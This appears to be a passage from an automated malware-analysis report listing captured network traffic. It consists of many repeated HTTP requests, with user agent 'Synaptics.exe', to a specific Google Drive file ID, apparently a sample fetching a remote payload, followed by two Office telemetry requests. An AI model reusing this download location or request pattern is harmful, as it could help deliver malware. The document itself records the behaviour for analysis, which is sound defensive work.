Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /rules/rule170012v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule63067v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
